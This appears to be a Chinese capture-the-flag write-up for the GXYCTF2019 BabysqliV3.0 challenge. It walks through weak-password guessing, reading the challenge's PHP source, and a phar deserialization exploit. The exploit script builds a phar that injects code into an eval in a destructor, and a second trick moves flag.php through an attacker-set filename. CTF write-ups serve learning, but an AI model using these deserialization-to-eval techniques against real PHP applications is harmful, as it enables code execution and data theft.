[GXYCTF2019]BabysqliV3.0 phar反序列化

随便输入两个1

 

看来是要admin登录了,密码我起初以为通过万能密码可以绕过,结果没反应,最后试了一下top100爆破,出来了密码就是password

 进入后看到url有一个file参数对应的是upload,页面提示我们现在是引用的upload.php文件,因此我们可以利用伪协议来读取源码了

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
    if(isset($_GET['file'])){
        if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
            die("hacker!");
        }
        else{
            if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){//只准读取home和upload的源代码
                $file = $_GET['file'].".php";
            }
            else{
                $file = $_GET['file'].".fxxkyou!";
            }
            echo "当前引用的是 ".$file;
            require $file;
        }

    }
    else{
        die("no permission!");
    }
}
?>

下载完home.php源码后我就没有看,继续读取别的源码发现读取不了,一看home.php限制了名字,我们还可以读取一个upload.php的源码

<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];//暗示phar反序列化
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){//只能数字和字母组成
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";// $this->Filename = $sandbox.$_SESSION['user'].$ext;
        echo file_get_contents($uploader);
    }
}

?>

看见魔法方法,又是文件上传,看来这题考的就是phar反序列化上传了

因为代码不多,我们一个个看

function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];//暗示phar反序列化
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

构造函数:创建了一个自定义的目录,并且对有无name参数的情况给了Filename不同的赋值

function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){//只能数字和字母组成
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

上传函数:Filename如果 不是纯字母和数字,那么就会将die命令赋值给cmd,否则将move_uploaded_file命令赋值给cmdPHP move_uploaded_file() 函数

$_FILES name和tmp_name有什么区别_Leroi_Liu的博客-CSDN博客,这里代表着会将我们上传的文件位置移到Filename处

function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

魔法方法,当对象被当作字符串的时候调用,返回Filename

function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }

析构函数,当$this->token不等于$_SESSION['user']的时候会给cmd赋值给die命令,最后eval输出,可以联想到构造函数里面有个$_SESSION['user'],有点类似于认证机制

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";// $this->Filename = $sandbox.$_SESSION['user'].$ext;
        echo file_get_contents($uploader);
    }
}

当上传文件,实例化类,调用upload函数,如果Filename文件存在,则会输出字符串的拼接,可以看到file_get_contents函数和字符串拼接都将对象当作了字符串,因此会调用toString魔术方法,于是$uploader就相当于$Filename

做题思路:

1、因为最后会输出Filename,而且当我们没有传入name参数的时候,Filename构造为

$this->Filename = $sandbox.$_SESSION['user'].$ext;

因此我们先随便上传一个文件来输出echo中的$_SESSION['user'],并且构造他,帮助我们以后绕过认证机制

可以发现我们还要点一次上传才会出来

这是因为他输出的是toString方法中的$this->Filename,且$this->Filename = $sandbox.$_SESSION['user'].$ext;因为这是我们拼接的字符串路径,那么怎么会有真的文件存在呢,我们第一次上传的文件应该在$file['tmp_name']里面,因此第一次上传的时候

if(@file_get_contents($uploader))

 这个if语句没有执行成功,因此没有回显;最开始我一直在想为什么按两次,不是有一个move_uploaded_file函数吗,这里注意

$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";

这只是一个赋值语句,真正执行的语句在析构函数那里

 因此只有第一次销毁后才会出来,也就是第二次上传的时候。

$upload->token = 'GXY9eb054261a06360e5cfcc5c4e9d86a81';

2、构造phar序列化,利用可控点eval,将我们想要执行的命令写入文件中,待到析构函数的时候执行move_uploaded_file将传入的内容写入给我们的那个文件地址,然后利用name参数传入phar伪协议来将给我们的文件进行反序列化,从而输出我们的执行命令

<?php
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$upload = new Uploader();
$upload->cmd = 'highlight_file("/var/www/html/flag.php");';
$upload->Filename = 'test';
$upload->token = 'GXY9eb054261a06360e5cfcc5c4e9d86a81';
echo serialize($upload);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($upload);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

我们只需要赋值好我们的变量即可,phar生成模板网上一大把,这里其实Filename的作用就是为了绕过die,随便一个字母都可以

可以看到传入序列化串成功了,给name参数赋值以达到我们自主控制Filename参数

利用 file_get_contents()函数触发我们的phar反序列化

name=phar:///var/www/html/uploads/6a2f0a406467ba130c864e9f76e27a7e/GXY9eb054261a06360e5cfcc5c4e9d86a81.txt

 成功执行!bingo!

第二种方法较为简单,我也是看了别人的wp恍然大悟,自己没往那方面想,只是顺着题目意思来了(或许这就是别人拿一血的原因)

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";// $this->Filename = $sandbox.$_SESSION['user'].$ext;
        echo file_get_contents($uploader);
    }
}

从第一种方法可知$uploader是可控的

name=/var/www/html/flag.php

我们只需要先传入name参数,Filename就是我们所传的flag.php路径,因为flag.php服务器本身就已经存在了,因此析构函数的时候会将flag.php移到Filename处,然后上传个文件执行echo语句即可(环境好像只能每一次用一次,因为flag.php的位置移动后就变了,后面一直相同的payload就是不出来)

 对phar又理解了一些

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值